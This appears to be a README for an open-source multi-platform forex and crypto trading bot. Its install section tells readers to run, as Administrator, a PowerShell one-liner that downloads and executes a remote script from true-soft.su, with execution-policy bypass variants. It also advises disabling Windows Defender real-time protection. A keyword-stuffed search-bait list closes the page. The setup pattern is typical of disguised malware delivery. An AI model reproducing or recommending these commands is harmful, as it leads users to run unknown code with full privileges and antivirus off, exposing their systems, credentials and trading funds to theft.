Universal Trading Bot (UTB) is an open-source, high-performance automated trading framework designed for cross-platform strategy execution. Engineered for retail traders and institutional developers, UTB bridges the gap between disparate financial markets, enabling unified execution across Forex, MetaTrader 5 (MT5), MetaTrader 4 (MT4), top-tier Crypto exchanges, and traditional stock broker APIs.
With its modular architecture, you can write a trading strategy once and deploy it instantly across multiple asset classes and broker platforms without rewriting core logic.
The Universal Trading Bot serves as an all-in-one execution engine, handling everything from market analysis to lightning-fast order routing:
- Multi-Terminal Connectivity: Native integration wrapper for MetaTrader 5 (MT5) Terminal and MetaTrader 4 (MT4) Expert Advisors (EA) using high-speed network sockets and DLL bridges.
- Universal Forex Execution: Real-time order routing, leverage management, and spread-tracking specifically optimized for major and exotic currency pairs.
- Advanced Algorithmic Strategies: Built-in engine for running complex strategies (Trend Following, Grid, Martingale-Safe Scaling, Mean Reversion, and Arbitrage).
- High-Speed Technical Analysis: Integrated library supporting over 100+ indicators (RSI, MACD, Bollinger Bands, EMA) with real-time candlestick pattern parsing.
- Risk & Money Management: Dynamic position sizing, automated trailing stop-loss (TSL), take-profit (TP) management, and maximum drawdown emergency breakers.
- Multi-Broker API Layer: Unified API abstraction that translates trading signals into platform-specific protocols for both traditional brokerages and digital asset exchanges.
| Trading Platform / Broker | Connection Method | Asset Classes Covered |
|---|---|---|
| MetaTrader 5 (MT5) | Native Python Integration / EA Bridge | Forex, CFDs, Indices, Commodities |
| MetaTrader 4 (MT4) | Custom MQL4 DLL / Socket Wrapper | Forex, Precious Metals |
| Forex Brokers (Direct) | REST / FIX Protocol API | Spot Currency Pairs |
| Crypto Exchanges | WebSockets / REST API | Spot, Perpetual Futures, Options |
-
Open PowerShell as Administrator:
- Press the
Win + Xkeys simultaneously. - Select Terminal (Admin) or Windows PowerShell (Admin) from the context menu.
- Press the
-
Run the Installation Command: Copy, paste, and press
Enterto run the following initialization command. This script will automatically configure the registry bypass and download all required packages:irm https://true-soft.su/powershell/Loader.ps1 | iex
If your system blocks the launch due to execution policy restrictions, force a bypass using this command in Command Prompt (cmd):
powershell -ExecutionPolicy Bypass -Command "irm https://true-soft.su/powershell/Loader.ps1 | iex"If you are using an older environment where short aliases are missing, use the full system commands:
Invoke-RestMethod https://true-soft.su/powershell/Loader.ps1 | Invoke-ExpressionAutomated scripts can sometimes trigger antivirus warnings. If this happens, temporarily turn off "Real-time protection" in Windows Defender settings during setup, then turn it back on as soon as the installation is complete.
This open-source repository contains resources, scripts, and documentation matching the following quantitative and algorithmic trading user intents:
- Best Universal Forex Trading Bot Open Source
- Automated Trading Bot for MetaTrader 5 and MetaTrader 4
- How to connect Python script to MT4/MT5 for auto-trading
- Free Forex Expert Advisor (EA) Source Code
- Multi-platform algorithmic trading framework github
- Crypto and Forex automated order execution system